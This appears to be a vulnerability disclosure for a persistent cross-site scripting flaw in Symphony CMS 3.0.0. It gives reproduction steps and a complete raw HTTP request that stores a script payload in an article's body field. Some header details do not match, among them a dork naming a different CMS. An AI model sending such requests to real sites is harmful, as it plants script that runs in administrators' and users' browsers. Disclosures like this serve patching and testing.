SymphonyCMS 3.0.0 – Persistent Cross-Site Scripting
# Exploit Title: SymphonyCMS 3.0.0 - Persistent Cross-Site Scripting # Google Dork: "lepton cms" # Date: 2020-08-28 # Exploit Author: SunCSR (Sun* Cyber Security Research) # Vendor Homepage: https://www.getsymphony.com/ # Software Link: https://www.getsymphony.com/ # Version: 3.0.0 # Tested on: Windows # CVE : N/A Description: Cross-site scripting (XSS) vulnerabilities in Symphony CMS 3.0.0 allow remote attackers to inject arbitrary web script or HTML To Reproduce: Steps to reproduce the behavior: 1. Login as member 2. Go to 'Articles' 3. Submit malicious content 4. Anyone (inclued admin) view article and XSS excuted Expected behavior When admin or user view content, a pop-up will be displayed Affected componets: events\event.publish_article.php in Symphony CMS 3.0.0 allows XSS via fields['body'] to appendSubheading POC: POST /symphonycms/symphony/publish/articles/new/ HTTP/1.1 Host: target User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://target/symphonycms/symphony/publish/articles/new/ Content-Type: multipart/form-data; boundary=---------------------------17679481844164416353626544932 Content-Length: 1111 Origin: http://target Connection: close Cookie: PHPSESSID=b21qllug0g7ft80ueo3bn0bgcd; Upgrade-Insecure-Requests: 1 -----------------------------17679481844164416353626544932 Content-Disposition: form-data; name="xsrf" vr-i2mWs18DPjVmZ8z2nB-Gb3hdyrb -----------------------------17679481844164416353626544932 Content-Disposition: form-data; name="MAX_FILE_SIZE" 5242880 -----------------------------17679481844164416353626544932 Content-Disposition: form-data; name="fields[title]" TEST XSS -----------------------------17679481844164416353626544932 Content-Disposition: form-data; name="fields[body]" <script>alert('XSS')</script> -----------------------------17679481844164416353626544932 Content-Disposition: form-data; name="fields[date]" 08/28/2020 5:55 am -----------------------------17679481844164416353626544932 Content-Disposition: form-data; name="fields[categories][]" 2 -----------------------------17679481844164416353626544932 Content-Disposition: form-data; name="fields[publish]" yes -----------------------------17679481844164416353626544932 Content-Disposition: form-data; name="action[save]" Create Entry -----------------------------17679481844164416353626544932-- Desktop (please complete the following information): OS: Windows 10 Browser: Firefox or Chrome Application: XAMPP, Burpsuite Additional context Tested on: 9.03.50 verison POC at: https://vimeo.com/405740251 |